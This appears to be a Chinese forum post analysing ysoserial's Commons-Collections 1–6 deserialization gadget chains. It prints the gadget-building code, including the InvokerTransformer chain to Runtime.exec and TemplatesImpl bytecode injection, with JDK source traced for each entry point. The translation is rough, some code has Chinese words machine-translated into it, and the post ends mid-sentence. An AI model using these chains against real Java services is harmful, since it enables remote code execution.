Ysoserial Commons-Collections 利用链分析

zhaorong · 发表于 2021-9-16 14:34:01

本帖最后由 zhaorong 于 2021-9-16 14:37 编辑

Commons-Collections1

首先变压器反射链，调用Chained变压器封装外壳，方法再现。

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, ne
w Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new
Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs)
};
final Transformer transformerChain = new ChainedTransformer(transformers);

复制代码

InvokerTransformer sink点解析：
首先跟踪base sink点InvokerTransformer#transform方法，以及InvokerTransformer构造方法。
在InvokerTransformer#transform(Object input)方法中调用了invoke方法

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodNa
me + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAcces**ception ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodNa
me + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodNa
me + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

复制代码

调用方法存在三个输入点，分别是方法对象，输入和this.iArgs两个形参。控）.iArgs可以通过调用

InvokerTransformer(String methodName, Class[] params, Object[] args)构造方法进行赋值。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

复制代码

方法对象可以通过调用cls.getMethod(this.iMethodName, this.iParamTypes)获取其中getMethod方法的两个形
参也都可以通过调用上述的InvokerTransformer构造方法进行。中的任意方法对象。此时
如果可以控制变换方法的参数就可以通过inv方法。调用任意类中的任意方法。

目前存在的问题：

1，如果可以找到满足的变换,也可以调用一次。但可以构造一个任意命令的目标Runtime对象需要调用
如何三次反射。2，控制InvokerTransformer#transform方法的参数
针对问题1，工具作者找到了ChainedTransformer类。
通过调用ChainedTransformer构造对象函数生成Transformer数组。

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

复制代码

且调用ChainedTransformer#transform方法，可以调用Transformer数组中的Transformer
对象从而完成转换三次反射方法的结果。

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

复制代码

针对问题2，作者找到了ConstantTransformer类通过调用ConstantTransformer构造
方法可以为iConstantTransformer工具

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

复制代码

由于ConstantTransformer继承Transformer，同样也可以单元到Transformer数组中调用
transform。ConstantTransformer#transform(Object input)方法会返回之前可控的
iConstant属性，因此控制InvokerTransformer#transform的参数参数

此时调用数组四变换对象的ChainedTransform对象的ChainedTransform方法#transform
方法时触发触发。效果等价于下面代码。

Class clazz = Runtime.class;
Object obj1 = clazz.getClass().getMethod("getMethod", new Class[]{"getRuntime".getClass(),
new Class[0].getClass()}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
Object obj2 = obj1.getClass().getMethod("invoke", new Class[]{new Object().getClass(), new
Object[0].getClass()}).invoke(obj1, new Object[]{null, new Object[0]});
Object obj3 = obj2.getClass().getMethod("exec", new Class[]{new String[]{"calc"}.ge
tClass()}).invoke(obj2, new Object[]{new String[]{"calc"}});

复制代码

此时下沉点方法成功下层需要找到可以调用到Chainedformer#transform的源
工具。作者找到了LazyMap类来调用转换方法。当调用LazyMap#get方法时
调用这个.factory.transform(键)方法。

public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

复制代码

而其中的this.factory对象，通过调用decorate(Map map, Transformer factory)方法
可以调用LazyMap(Map Factory factory)构造方法进行控制

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

复制代码

此时方法链找到调用zyMap#getObject key(Object key)的入口，利用这一招的构造。
接下来作者找到了sun.reflect.annotation.AnnotationInvocationHandler入口类在sun.reflect.annot
ation.AnnotationInvocationHandler#invoke方法中。调用了this.memberValues.get(var4)方法。

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}

复制代码

且在AnnotationInvocationHandler构造方法中。可以为this.memberValues属性赋值。

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}

复制代码

且AnnotationInvocationHandler继承Serializable 可以反序列化。追溯一下反序列化入口的readObject方法。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getC
lass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}

复制代码

在readObject方法中调用this.memberValues.entrySet().iterator()方法，其中this.memberValues可以通过调用
AnnotationInvocationHandler构造方法，赋值里为LazyMap对象，且LazyMap对象被创建动态代理类，代理接
口为Map.class，当调用Map.class类中的方法时将调用AnnotationInvocationHandler#invoke方法。entrySet
方法是Map.class中的方法。因此会进入AnnotationInvocationHandler#invoke方法中。并调用this.member
Values.get(var4)方法。this.memberValues是LazyMap因此完成了下沉点的建成完成了整个gadget的构造。

Commons-Collections2

首先分析sink点作者调用了自定义方法Gadgets.createTemplatesImpl生成TemplatesImpl对象
具体查一下一下生成过程。首先进入Gadgets#createTemplatesImpl方法中。

public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTransl
et.class, TransformerFactoryImpl.class);
}

复制代码

在类中重载createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, Transformer
FactoryImpl.class)方法，并极速cmd恶意命令和org.apache.xalan.xsltc.trax.TemplatesImpl.class、org.a
pache.xalan. xsltc.runtime.AbstractTranslet.class、org.apache.xalan.xsltc.trax.TransformerFactoryImp
l.class。重点跟踪一下cmd是如何被注入在利用链中。

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?>
abstTranslet, Class<?> transFactory ) throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec("" +
command.replaceAll("\\\","\\\\\\\").replaceAll(""", "\\"") +
"");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

复制代码

结合Javasist库的相关方法分析createTemplatesImpl方法：

ClassPool pool = ClassPool.getDefault(); //创建一个ClassPool实例化对象ClassPool是
一个存放着代表class文件的CtClass类容器
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); //将StubTransletPayload.class
的路径加到类搜索路径中。(通常通过该方法写入额外的类搜索路径，以解决多个类加载器环境中找不到类的问题)
pool.insertClassPath(new ClassClassPath(abstTranslet)); //同理将org.apache.xalan.xsltc.runtime.
AbstractTranslet.class的路径加到类搜索路径中。
final CtClass clazz = pool.get(StubTransletPayload.class.getName()); //获取StubTransl
etPayload的CtClass对象，用于后续的编辑。
String cmd = "java.lang.Runtime.getRuntime().exec("" + command.replaceAll("\\\","\\\\\\\").rep
laceAll(""", "\\"") + "");"; //声明cmd属性对象，并注入传入的command参数。
clazz.makeClassInitializer().insertAfter(cmd); //clazz.makeClassInitializer() -> 新增静态代码块。
//insertAfter() -> 插入代码。
//此段代码是将cmd变量中的代码，注入到StubTransletPayload类中的静态代码块中。
clazz.setName("ysoserial.Pwner" + System.nanoTime()); //修改类名（暂不清楚具体作用是什么）
CtClass superC = pool.get(abstTranslet.getName()); //获取org.apache.xalan.xsltc.runtime.AbstractT
ranslet对象（StubTransletPayload继承于org.apache.xalan.xsltc.runtime.AbstractTranslet)
clazz.setSuperclass(superC); //将org.apache.xalan.xsltc.runtime.AbstractTranslet设置为StubTransletPayload的父类。
final byte[] classBytes = clazz.toBytecode(); 将StubTransletPayload对象转换成byte数组。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBy
tes(Foo.class)}); //通过反射将StubTransletPayload对象的byte流赋值给_bytecodes属性中。
Reflections.setFieldValue(templates, "_name", "Pwnr"); //反射赋值
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); //反射赋值工厂类。

复制代码

上述流程通过利用Javasist库。将恶意代码注入到自定义的StubTransletPayload类中将StubTranslet
Payload类转换成byte数组，通过引用赋值给org.apache.xalan.xsltc.trax.TemplatesImpl类中的_byte
codes属性最终返回TemplatesImpl对象。

这时当实例化org.apache.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性中的类发酵触发恶
意代码执行。作者找到了TemplatesImpl#newTransformer方法_bytecodes中的字节字节流。

public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

复制代码

重点跟进分析调用的getTransletInstance方法。

private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_acces**ternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAcces**ception e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

复制代码

首先调用defineTransletClasses()方法加载_bytecodes。

private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLo
ader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

复制代码

_class = loader.defineClass(_bytecodes) 将_bytecodes属性中的恶意字节流调用给TemplatesImpl#_class属性中。
回到调用_class[_transletIndex].newInstance() 实例化_class字节流里的类，从而触发恶意代码。
需要找到一个可以调用TemplatesImpl#newTransformer的方式。回一下CommonsCollections1中的可以
调用现在任意方法的InvokerTransformer#transform(object input)方法。

将TemplatesImpl对象作为转换方法的参数参数
将newTransformer赋给InvokerTransformer#iMethodName
找到一个可以调用InvokerTransformer#transform(object input)的方法
满足上述三个条件，分类实现TemplatesImpl#newTransformer方法。

第二个条件可以通过反射来解决重点可以找到一个满足条件一和条件三的来源。这里工具作者
了java.util.PriorityQueue作为入口类。从反序列化入口PriorityQueue#readObject方法分析。

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {

// Read in size, and any hidden stuff

s.defaultReadObject();

// Read in (and discard) array length

s.readInt();

queue = new Object[size];

// Read in all elements.

for (int i = 0; i < size; i++)

 queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the

// spec has never explained what that might be.

heapify();

}
复制代码

调用heapify()方法。

private void heapify() {

for (int i = (size >>> 1) - 1; i >= 0; i--)

 siftDown(i, (E) queue[i]);

}
复制代码

调用siftDown(i, (E) queue)方法。

private void siftDown(int k, E x) {

if (comparator != null)

 siftDownUsingComparator(k, x);

else

 siftDownComparable(k, x);

}
复制代码

这里存在一个判断逻辑，判断条件是PriorityQueue#comparator是否为空。执行siftDownUsingComparator方法。
进入siftDownUsingComparator方法中。

private void siftDownUsingComparator(int k, E x) {

int half = size >>> 1;

while (k < half) {

 int child = (k << 1) + 1;

 Object c = queue[child];

 int right = child + 1;

 if (right < size &&

 comparator.compare((E) c, (E) queue[right]) > 0)

 c = queue[child = right];

 if (comparator.compare(x, (E) c) <= 0)

 break;

 queue[k] = c;

 k = child;

}

queue[k] = x;

}
复制代码

通过调用siftDownUsingComparator方法可以调用任意实现java.util.Comparator接口的类的比较方法。此时
我们需要找到一个实现java.util.Comparator接口。并且在比较方法中调用InvokerTransformer#transform的方
法作者找到了org.apache.commons.collections4.comparators.TransformingComparator类。

public int compare(I obj1, I obj2) {

O value1 = this.transformer.transform(obj1);

O value2 = this.transformer.transform(obj2);

return this.decorated.compare(value1, value2);

}
复制代码

通过调用TransformingCompator(Transformer<? super I, ? extends O>transformer)构造
可以为this.transformer赋方法。

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {

this(transformer, ComparatorUtils.NATURAL_COMPARATOR);

}

public TransformingComparator(Transformer<? super I, ? extends O> tra

nsformer, Comparator<O> decorated) {

this.decorated = decorated;

this.transformer = transformer;

}
复制代码

通过org.apache.commons.collections4.comparators.TransformingComparator类满足条件一
将TemplatesImpl对象作为转换方法的参数参数和条件三找到一个可以调用InvokerTransforme
r#transform(object input)的方法。

到此完成整个利用链的构建。

Commons-Collections3

CommonsCollections3的source与CommonsCollections1的source相同。都是以sun.reflect.anno
tation.AnnotationInvocationHandler作为入口，通过创建方法Map动态代理类，通过调用sun.refle
ct.annotation.AnnotationInvocationHandler的invoke，从而调用LazyMap#get方法控制实现
Transformer接口下的任意类中的变换方法。

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

return handler;
复制代码

CommonsCollections3的宿点构造思路则是和CommonsCollections2中的碱宿点将恶意字节流注入到org.apa
che.xalan.xsltc.trax.TemplatesImpl类中的_bytecodes属性。等待调用TemplatesImpl＃newTransformer方法。
Object templatesImpl = Gadgets.createTemplatesImpl(command);
CommonsCollections3的不同在于。小工具作者找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类
在TrAXFilter(Templates templates)构造方法中。调用了templates.newTransformer()方法。

public TrAXFilter(Templates templates) throws TransformerConfigurationException

{

_templates = templates;

_transformer = (TransformerImpl) templates.newTransformer();

_transformerHandler = new TransformerHandlerImpl(_transformer);

_useServicesMechanism = _transformer.useServicesMechnism();

}
复制代码

工具作者找到了InstantiateTransformer#transform(object input)方法通过调用
此方法实现TrAXFilter构造方法的调用。

final Transformer transformerChain = new ChainedTransformer(

new Transformer[]{

new ConstantTransformer(TrAXFilter.class),

new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } )

}

);
复制代码

与InvokerTransformer#trans类似方，InstantiateTransformer#transform(object input
方法会调用模块的object对象的构造方法。

public Object transform(Object input) {

try {

 if (input instanceof Class == false) {

 throw new FunctorException(

 "InstantiateTransformer: Input object was not an instanceof Class, it was a "

 + (input == null ? "null object" : input.getClass().getName()));

 }

 Constructor con = ((Class) input).getConstructor(iParamTypes);

 return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {

 throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");

} catch (InstantiationException ex) {

 throw new FunctorException("InstantiateTransformer: InstantiationException", ex);

} catch (IllegalAcces**ception ex) {

 throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);

} catch (InvocationTargetException ex) {

 throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);

}

}
复制代码

如果变换方法的粒子参数输入且iParamTypes目标的构造方法与iArgs构造方法的参数参数
可以随时可以调用类的构造方法。

public InstantiateTransformer(Class[] paramTypes, Object[] args) {

super();

iParamTypes = paramTypes;

iArgs = args;

}
复制代码

通过调用InstantiateTransformer构造方法可以实现对iParamTypes和iParamTypes的参数控制。当前
的目标是调用TrFilter(有害模板AX)构造方法。通过构造对象引用的ChainedTransformer反射链效果：
TrAXFilter.getConstructor(Templates.class).newInstance(恶意Templates对象)
从而实现组件有害Templates对象的TrAXFilter对象调用构造方法。实现有害模板对象的newTransformer调用
从而完成利用链的构造。

Commons-Collections4

CommonsCollections4的利用链构造是结合CommonsCollections2的源点java.util.PriorityQueue和
CommonsCollections3的sink点com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
sink：

Object templates = Gadgets.createTemplatesImpl(command);

ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed

Class[] paramTypes = new Class[] { String.class };

Object[] args = new Object[] { "foo" };

InstantiateTransformer instantiate = new InstantiateTransformer(

 paramTypes, args);

// grab defensively copied arrays

paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");

args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

···

Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);

paramTypes[0] = Templates.class;

args[0] = templates;
复制代码

来源：

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));

queue.add(1);

queue.add(1);

return queue;
复制代码

这里有一个问题：为什么不能像CommonsCollections3一样。在实例化ConstantTransformer对象时直接吸附
TrAXFilter 以及实例化InstantiateTransformer对象对象。直接高速Templates.class和Templates对象？
由于PriorityQueue作为反序列化入口类。且元素有害对象的队列属性设置了瞬态所以需要调用Priority
Queue#add方法为关键字属性设置。而在赋值的过程中会调用comparator.compare(x, ( E) e)方法。

public boolean add(E e) {

return offer(e);

}
复制代码

调用offer方法

public boolean offer(E e) {

if (e == null)

 throw new NullPointerException();

modCount++;

int i = size;

if (i >= queue.length)

 grow(i + 1);

size = i + 1;

if (i == 0)

 queue[0] = e;

else

 siftUp(i, e);

return true;

}
复制代码

调用siftUpUsingComparator方法

private void siftUp(int k, E x) {

if (comparator != null)

 siftUpUsingComparator(k, x);

else

 siftUpComparable(k, x);

}
复制代码

最终调用comparator.compare(x, (E) e)方法。

private void siftUpUsingComparator(int k, E x) {

while (k > 0) {

 int parent = (k - 1) >>> 1;

 Object e = queue[parent];

 if (comparator.compare(x, (E) e) >= 0)

 break;

 queue[k] = e;

 k = parent;

}

queue[k] = x;

}
复制代码

如果在调用add方法之前，调用ConstantTransformerTrAXFilter.class方法生成ConstantTransformer实例化对象调
用InstantiateTransformer(Templates.class,恶意Templates对象)生成InstantiateTransformer实例化对象。在调用
add方法是会触发TransformingComparator#compare调用链。加载AX调用ConstantTransformer#transform方法
返回TrFilter对象。再调用InstantiateTransformer#transform方法调用

TrAXFilter.getConstructor((Templates.class).newInstance(templates)方法。从而在序列化之前触发
了代码并抛出异常终止程序正常流程是在服务器上反序列化。执行代码后抛出异常。
因此为了避免程序在序列化之前停止，需要在调用添加方法前。实例化不会抛出异常的正常ConstantTransformer
实例化对象和InstantiateTransformer实例化对象。在执行添加方法后再通过反射将两个中的对应属性进行了更改
完成序列化的正常运行。

CommonsCollections4 的构造思路结合CommonsCollections3 的实现组件有用模板对象的TrAXFilter对象调用构造方法
实现有害模板对象的newTransformer调用的，生成一个恶意ChainedTransformer对象，再结合CommonsCollections2
的来源通过调用PriorityQueue的构造。将恶意的ChainedTransformer对象赋值给PriorityQueue#comparator属性。

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));

public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) {

// Note: This restriction of at least one is not actually needed,

// but continues for 1.5 compatibility

if (initialCapacity < 1)

 throw new IllegalArgumentException();

this.queue = new Object[initialCapacity];

this.comparator = comparator;

}
复制代码

在PriorityQueue进行反序列化时调用comparator.comp。从而调用TransformingComparator.compare
从而方法调用ChainedTransformer.transform完成sink点的调用，从而实现利用链的构造。

Commons-Collections5

首先变压器反射链调用ChainedTransformer封装变压器阵列方法组装反射。

Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),

new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),

new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)

};
复制代码

实例化Map对象调用LazyMap类中的属性方法。将transformerChain对象传递给LazyMap#factory
此时LazyMap#get方法且对象的key对象不在map对象中。便可以触发调用引用发生的反射链。

映射innerMap = new HashMap(); 

Map lazyMap = LazyMap.decorate(innerMap,transformerChain); 

public Object get(Object key) { 

 if (!super.map.containsKey(key)) { 

 Object value = this.factory.transform(key); 

 super.map.put(key, value); 

 返回值；

 } else { 

 return super.map.get(key); 

 } 

}
复制代码

利用链作者利用TiedMapEntry类封装LazyMap对象。并通过反序列化BadAttributeValueExpException
类控制BadAttributeValueExpException#val属性，调用任意类中的toString()。

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 

BadAttributeValueExpException val = new BadAttributeValueExpException((Object)null); 

字段 valfield = val.getClass().getDeclaredField("val"); 

Reflections.setAccessible(valfield); 

valfield.set(val, entry); 

private void readObject(ObjectInputStream ois) 抛出 IOException, ClassNotFoundException { 

 ObjectInputStream.GetField gf = ois.readFields(); 

 Object valObj = gf.get("val", null); 

 if (valObj == null) { 

 val = null; 

 } else if (valObj instanceof String) { 

 val= valObj; 

 } else if (System.getSecurityManager() == null 

 || valObj instanceof Long

 || valObj instanceof Integer 

 || valObj instanceof Float 

 || valObj instanceof Double 

 || valObj instanceof Byte 

 || valObj instanceof Short 

 || valObj instanceof Boolean) { 

 val = valObj.toString(); 

 } else { // 序列化对象来自没有 JDK-8019292 fix 的版本

 val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); 

 } 

}
复制代码

在TiedMapEntry#toString()方法中调用TiedMapEntry#getValue方法导致触发触发触发map.get(this.key)方法。

qq">
public String toString() { 

 return this.getKey() + "=" + this.getValue(); 

} 

public Object getValue() { 

 return this.map.get(this.key); 

}
复制代码

到此完成整个利用链的构建。

CommonsCollections6

CommonsCollections6的水槽链使用的仍然是InvokerTransformer反射接口方法利用ChainedTransformer
实验InvokerTransformer反射和ConstantTransformer接口获取恶意的运行时类。调用LazyMap.decorate
将恶意的ChainedTransformer提交给LazyMap＃ factory，当调用LazyMap#get(Object key)方法触发恶意
代码的执行。（与CommonsCollections1、CommonsCollections5的sink点相同）

最终字符串[] execArgs = 新字符串[] { 命令}; 

final Transformer[] 变压器 = new Transformer[] { 

 new ConstantTransformer(Runtime.class), 

 new InvokerTransformer("getMethod", new Class[] { 

 String.class, Class[].class }, new Object[] { 

 "getRuntime" , new Class[0] }), 

 new InvokerTransformer("invoke", new Class[] { 

 Object.class, Object[].class }, new Object[] { 

 null, new Object[0] }), 

 new InvokerTransformer( "exec", 

 new Class[] { String.class }, execArgs), 

 new ConstantTransformer(1) }; 

变压器transformerChain = new ChainedTransformer(transformers); 

最终地图innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap,transformerChain); 

CommonsCollections6小工具作者找到了TiedMapEntry类其中在TiedMapEntry＃GETVAL 

UE（）方法中调用了this.map.get（this.key）方法。

公开对象的getValue（）{

 返回this.map.get（this.key）; 

}
复制代码

调用TiedMapEntry(Map map, Object key)构造方法，可以为TiedMapEntry#map启动

public TiedMapEntry(Map map, Object key) { 

 this.map = map; 

 this.key = 键；

}
复制代码

在TiedMapEntry中的equals(Object obj)、hashCode()、toString()中方法都调用了TiedMapEntry#
getValue()方法。这里作者选择调用TiedMapEntry#hashCode()方法

public int hashCode() {

 对象值 = this.getValue(); 

 return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); 

}
复制代码

这时候需要寻找一个调用hashCode()方法类，并且可以反序列化入口类。这里小工具作者找到了HashMap和HashSet。
在HashMap#put方法中，调用了hash方法，以后调用了hashcode方法。

public V put(K key, V value) { 

 return putVal(hash(key), key, value, false, true); 

} 

static final int hash(Object key) { 

 int h; 

 返回（键 == 空）？0 : (h = key.hashCode()) ^ (h >>> 16); 

}
复制代码

在HashSet类的反序列化入口readObject方法中

private void readObject(java.io.ObjectInputStream s) 

 throws java.io.IOException, ClassNotFoundException { 

 // 读入任何隐藏的序列化魔法

 s.defaultReadObject(); 

 // 读取容量并验证非负值。

 int 容量 = s.readInt(); 

 if (capacity < 0) { 

 throw new InvalidObjectException("非法容量：" + 

 capacity); 

 } 

 // 读取负载因子并验证正值和非 NaN。

 浮动负载因子 = s.readFloat(); 

 if (loadFactor <= 0 || Float.isNaN(loadFactor)) { 

 throw new InvalidObjectException("Illegal load factor:" + 

 loadFactor);

 } 

 // 读取大小并验证非负值。

 int size = s.readInt(); 

 if (size < 0) { 

 throw new InvalidObjectException("非法大小：" + 

 size); 

 } 

 // 根据大小和负载因子设置容量，确保

 HashMap 至少 25% 已满，但限制为最大容量。

 容量 = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f), HashMap.MAXIMUM_CAPACITY 

 ); 

 // 创建后台HashMap 

 map = (((HashSet<?>)this) instanceof LinkedHashSet ? 

 new LinkedHashMap<E,Object>(capacity, loadFactor) : 

 new HashMap<E,Object>(capacity, loadFactor));

 // 以正确的顺序读入所有元素。

 for (int i=0; i<size; i++) { 

 @SuppressWarnings("unchecked") 

 E e = (E) s.readObject(); 

 map.put(e, PRESENT); 

 } 

}
复制代码

在进行反序列化的过程中，实例化HashMap对象。并调用了map.put(e, PRESENT)。e是通过调用对象方法获取
的需要找到对应的参数将e参数序列化的writeObject。在HashSet #writeObject方法中找到了对应。

private void writeObject(java.io.ObjectOutputStream s) 

 throws java.io.IOException { 

 // 写出任何隐藏的序列化魔法

 s.defaultWriteObject(); 

 // 写出 HashMap 容量和负载因子

 s.writeInt(map.capacity()); 

 s.writeFloat(map.loadFactor()); 

 // 写出大小

 s.writeInt(map.size()); 

 // 以正确的顺序写出所有元素。

 for (E e : map.keySet()) 

 s.writeObject(e); 

}
复制代码

遍历映射对象中的关键值并循环调用的writeObject方法进行序列化。因此需要将恶意的TiedMapEntry注对象
